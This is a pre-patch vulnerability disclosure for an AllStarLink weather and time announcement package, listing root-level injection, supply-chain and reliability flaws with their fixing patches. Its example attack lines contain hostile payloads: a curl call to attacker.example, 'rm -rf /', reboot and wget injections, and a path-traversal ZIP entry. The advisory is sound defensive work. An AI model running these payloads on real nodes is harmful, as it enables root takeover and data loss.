ASL3 Saytime Weather TimeFormat
Pre-patch security & reliability disclosure — reviewed 2026-07-02
Warning: The original (unpatched) release contained
13 security flaws, including
3 critical issues that could allow
remote or local root compromise on an AllStarLink node.
Apply patch series patches/0001–0007 before deploying on a production repeater.
Why this software was dangerous
These scripts run as root, fetch data from the network, write to system paths,
and schedule hourly jobs. The unpatched code treated configuration and API responses as
executable shell, downloaded binaries over plain HTTP, and installed
unverified ZIP archives with root privileges. Any one of the critical flaws is
sufficient for full node takeover.
Detailed findings
Configuration was loaded with bash source instead of safe parsing.
- Affected files
- bin/asl3-weatherapi-update.sh, bin/show_weatherapi.sh, install_asl3_saytime_weather_timeformat.sh
- Description
- weatherapi.ini was executed as shell code. Any line containing shell metacharacters (semicolons, $(), backticks, unbalanced quotes) runs with the privileges of the script — typically root when invoked by systemd or cron.
- Example attack / failure mode
LOCATION="74437"; curl attacker.example/$(hostname) #
- Impact
- Full root compromise on the AllStarLink node whenever the update script or show script runs.
- Fixed in patch
- 0002, 0003, 0004
API-derived cache file current.env was sourced as shell code.
- Affected files
- bin/show_weatherapi.sh, bin/asl3-weatherapi-update.sh
- Description
- Weather condition text and location names from WeatherAPI.com were written into current.env without escaping, then source'd by show_weatherapi.sh. A malicious API response, compromised upstream, or man-in-the-middle attack could inject executable shell.
- Example attack / failure mode
CONDITION=""; reboot #
- Impact
- Remote code execution as root when an operator runs show_weatherapi.sh or when cache is sourced.
- Fixed in patch
- 0002, 0003
Install arguments were inserted into weatherapi.ini with unescaped sed.
- Affected files
- install_asl3_saytime_weather_timeformat.sh
- Description
- LOCATION, NODE, and TIME_FORMAT install arguments were written using sed -i with double-quoted replacement strings. Special characters in arguments break out of the quoted value and become persistent shell code in the config file (see SEC-001).
- Example attack / failure mode
sudo ./install_asl3_saytime_weather_timeformat.sh '"; wget evil #' 12345
- Impact
- Persistent backdoor in config; executes on every weather update or cache display.
- Fixed in patch
- 0004
Location and node install args were embedded unquoted in root crontab.
- Affected files
- install_asl3_saytime_weather_timeformat.sh
- Description
- The hourly cron line interpolated $LOCATION_ARG and $NODE_ARG without quoting. Cron runs jobs under /bin/sh, so metacharacters in install arguments become scheduled root commands.
- Example attack / failure mode
Install with location: 74437; rm -rf /
- Impact
- Arbitrary command execution as root every hour via cron.
- Fixed in patch
- 0004
API key appeared in curl command-line arguments.
- Affected files
- bin/asl3-weatherapi-update.sh
- Description
- The full URL including key=YOUR_KEY was passed on the curl argv. Any local user could read ps output, audit logs, or proxy logs and steal the WeatherAPI key.
- Impact
- API key theft, quota abuse, billing fraud, and potential account lockout.
- Fixed in patch
- 0002
Recorded voice ZIP was fetched via http:// with no integrity check.
- Affected files
- install_asl3_saytime_weather_timeformat.sh, uninstaller_remove_audio_files.sh
- Description
- A network attacker could substitute a malicious ZIP during install or uninstall manifest download. No checksum or signature was verified.
- Impact
- Supply-chain attack: malicious audio files or zip-slip payloads delivered to the node.
- Fixed in patch
- 0004, 0006
Sound ZIP was extracted without validating member paths.
- Affected files
- install_asl3_saytime_weather_timeformat.sh
- Description
- unzip -o wrote every archive entry directly under SOUNDS_DIR. A crafted ZIP with entries like ../../etc/cron.d/backdoor could write outside the intended directory. The audio uninstaller had guards; the installer did not.
- Impact
- Arbitrary file write anywhere the install user (root) can write.
- Fixed in patch
- 0004
Announcement audio always used /tmp/current-time.gsm.
- Affected files
- bin/saytime.pl
- Description
- A fixed path in /tmp allows symlink attacks and races between concurrent runs. Another local user could redirect writes or cause premature deletion during playback.
- Impact
- Denial of service, corrupted playback, or tricking Asterisk into reading attacker-controlled audio.
- Fixed in patch
- 0005
GSM files were merged via system("cat ... > outfile").
- Affected files
- bin/saytime.pl
- Description
- Even with shell quoting on paths, invoking /bin/sh adds attack surface. A quoting bug or unexpected filename could enable command injection.
- Impact
- Potential command execution if sound paths or config paths are ever attacker-influenced.
- Fixed in patch
- 0005
weather.json and current.env were chmod 0644.
- Affected files
- bin/asl3-weatherapi-update.sh
- Description
- Any local system user could read cached location, conditions, and metadata. On shared or multi-user hosts this leaks operator location and habits.
- Impact
- Information disclosure to unprivileged local accounts.
- Fixed in patch
- 0002
Directory paths from config were used without validation.
- Affected files
- bin/asl3-weatherapi-update.sh, bin/saytime.pl
- Description
- Values like /, /etc, or paths containing .. were accepted. Combined with config injection (SEC-001), this could redirect cache or temp files to sensitive locations.
- Impact
- Writes to unintended directories; amplified impact when config is compromised.
- Fixed in patch
- 0002, 0005
Installer pulls scripts from raw.githubusercontent.com with no checksum.
- Affected files
- install_asl3_saytime_weather_timeformat.sh
- Description
- Compromise of GitHub, DNS, or TLS interception could deliver altered install scripts. Operators should verify commits or use pinned releases.
- Impact
- Supply-chain compromise during install.
- Fixed in patch
- (not patched — operational risk)
Installer, cron, and systemd jobs expect root for Asterisk integration.
- Affected files
- All scripts, systemd timer
- Description
- Every flaw above executes with full root privileges. There is no privilege separation between weather fetch, audio build, and Asterisk playback.
- Impact
- Any single vulnerability becomes full system compromise.
- Fixed in patch
- (by design — increases blast radius)
sox trim 0.0 1.0 generated one second of silence, not 350 ms.
- Affected files
- install_asl3_saytime_weather_timeformat.sh
- Description
- The pause between time and weather announcements was roughly three times longer than intended, making hourly announcements sound sluggish.
- Impact
- Degraded user experience on the repeater; not a security issue.
- Fixed in patch
- 0004
Changing LOCATION in config did not invalidate existing cache.
- Affected files
- bin/asl3-weatherapi-update.sh, bin/saytime.pl
- Description
- Cache refresh only occurred when the file was missing or older than 20 minutes. After relocating the node or correcting a typo, wrong-city weather could be announced for up to 20 minutes.
- Impact
- Incorrect weather on air; operator trust issue.
- Fixed in patch
- 0002, 0005
Concurrent saytime.pl runs shared one output file.
- Affected files
- bin/saytime.pl
- Description
- Manual test during an hourly cron run could delete or overwrite the file mid-playback, causing silent or truncated announcements.
- Impact
- Intermittent failed or garbled time/weather announcements.
- Fixed in patch
- 0005
Output file was deleted after sleep 5 regardless of announcement length.
- Affected files
- bin/saytime.pl
- Description
- Long announcements (time + weather + humidity + feels-like) could still be playing when unlink removed the GSM file. Asterisk playback failure was not checked.
- Impact
- Truncated or missing audio on busy weather announcements.
- Fixed in patch
- 0005
grep -v deleted every crontab line mentioning saytime.pl.
- Affected files
- uninstall_asl3_saytime_weather_timeformat.sh, uninstaller_remove_audio_files.sh
- Description
- Beyond the installer's marked block, any custom or hand-edited cron entry calling saytime.pl was removed without warning.
- Impact
- Unexpected loss of unrelated scheduled announcements.
- Fixed in patch
- 0006
Empty crontab after cleanup triggered crontab -r.
- Affected files
- uninstall_asl3_saytime_weather_timeformat.sh, uninstaller_remove_audio_files.sh
- Description
- If the only crontab entries were saytime-related, the uninstaller removed the entire root crontab instead of leaving an empty but valid file.
- Impact
- Loss of all other root cron jobs (backups, maintenance, other ASL tools).
- Fixed in patch
- 0006
sed only replaced existing LOCATION/NODE/TIME_FORMAT lines.
- Affected files
- install_asl3_saytime_weather_timeformat.sh
- Description
- If weatherapi.ini already existed but lacked expected keys, install arguments were ignored with no error.
- Impact
- Operator believes install configured the node; it did not.
- Fixed in patch
- 0004
$silent was assigned from argv without numeric coercion.
- Affected files
- bin/saytime.pl
- Description
- Perl string comparison mostly worked, but numeric context was fragile for legacy calling conventions using 0|1|2 silent modes.
- Impact
- Edge-case misbehavior in silent/save modes.
- Fixed in patch
- 0005
Fractional temperatures were truncated toward zero.
- Affected files
- bin/saytime.pl
- Description
- Values like 72.6°F were announced as 72; negative fractional values could round incorrectly.
- Impact
- Minor inaccuracy in spoken temperature.
- Fixed in patch
- (not patched)
README claimed both GPLv3 and MIT for contributions.
- Affected files
- README.md
- Description
- The LICENSE file is GPLv3; the README incorrectly stated contributions were under MIT.
- Impact
- Legal confusion for contributors and redistributors.
- Fixed in patch
- 0007
Remediation
Apply the full patch series from the repository patches/ directory:
git am patches/*.patch
Or merge the review-fixes branch. After patching:
- Config and cache files are parsed, not sourced.
- Install arguments are safely quoted in config and cron.
- Sound downloads use HTTPS with ZIP path validation.
- API keys are kept out of the process list.
- Announcement temp files are private and uniquely named.
- Uninstallers only remove the marked crontab block.